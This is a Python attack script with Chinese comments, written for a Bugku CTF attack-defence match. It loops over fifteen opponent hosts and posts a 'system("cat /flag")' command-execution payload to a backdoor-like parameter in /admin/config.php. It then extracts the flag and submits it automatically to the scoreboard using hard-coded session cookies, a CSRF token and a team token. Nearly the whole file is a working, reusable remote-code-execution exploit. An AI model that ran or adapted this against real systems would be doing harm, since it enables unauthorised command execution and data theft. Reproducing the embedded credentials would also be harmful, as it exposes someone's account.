1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
|
import requests
# 目标URL列表
urls = [
"http://192-168-1-19.pvp6199.bugku.cn",
"http://192-168-1-64.pvp6199.bugku.cn",
"http://192-168-1-75.pvp6199.bugku.cn",
"http://192-168-1-94.pvp6199.bugku.cn",
"http://192-168-1-95.pvp6199.bugku.cn",
"http://192-168-1-119.pvp6199.bugku.cn",
"http://192-168-1-128.pvp6199.bugku.cn",
"http://192-168-1-133.pvp6199.bugku.cn",
"http://192-168-1-148.pvp6199.bugku.cn",
"http://192-168-1-154.pvp6199.bugku.cn",
"http://192-168-1-175.pvp6199.bugku.cn",
"http://192-168-1-188.pvp6199.bugku.cn",
"http://192-168-1-212.pvp6199.bugku.cn",
"http://192-168-1-246.pvp6199.bugku.cn",
"http://192-168-1-250.pvp6199.bugku.cn",
]
path = "/admin/config.php"
# 命令执行POST数据
data = {
"aman": 'system("cat /flag")',
"www": ""
}
# 提交flag的配置
submit_url = "https://ctf.bugku.com/pvp/submit.html"
submit_headers = {
"Host": "ctf.bugku.com",
"Cookie": "Hm_lvt_97426e6b69219bfb34f8a3a1058dc596=1752064959,1752144678; X-CSRF-TOKEN=5f862444be2abe635553431f5dbe3cc7; PHPSESSID=510da7c779ed3187e1e367298ca84438; autoLogin=kdoN64ND3Xo2hQQsxG98rnS9Z0dSe7yDQ6%2BPQQyFxJceBfhGi2cTEn2DEIn1%2BnAp90bvuC2oPvmUmZ8JberY0rkxG1ceHHz4Dg0bWvElwk4efWo1ot0DhQ3sP0GP%2BkzkXBEteb0agHTh8g; Hm_lpvt_97426e6b69219bfb34f8a3a1058dc596=1752150215; HMACCOUNT=BF67DCC11FFB9723",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Csrf-Token": "5f862444be2abe635553431f5dbe3cc7",
"X-Requested-With": "XMLHttpRequest",
"Origin": "https://ctf.bugku.com",
"Referer": "https://ctf.bugku.com/pvp/match/id/6199.html",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Priority": "u=0",
"Te": "trailers"
}
submit_data = {
"id": "6199",
"token": "b34932d2ac71a030ae821a648f2e535b"
}
# 遍历所有URL
for base_url in urls:
url = base_url + path
try:
# 尝试执行命令获取flag
resp = requests.post(url, data=data, timeout=5)
if "flag" in resp.text.lower():
flag = resp.text.strip()
print(f"==== 发现flag在 {url} ====")
print(flag)
# 提取flag内容(假设格式为flag{...})
if "flag{" in flag and "}" in flag:
flag_content = flag[flag.index("flag{"):flag.index("}")+1]
submit_data["flag"] = flag_content
# 提交flag
try:
submit_resp = requests.post(
submit_url,
headers=submit_headers,
data=submit_data,
timeout=5
)
print("\n=== 提交结果 ===")
print(submit_resp.text)
except Exception as submit_e:
print(f"[!] 提交flag失败: {submit_e}")
print("\n" + "="*50 + "\n")
except Exception as e:
print(f"[!] {url} 请求失败: {e}")
|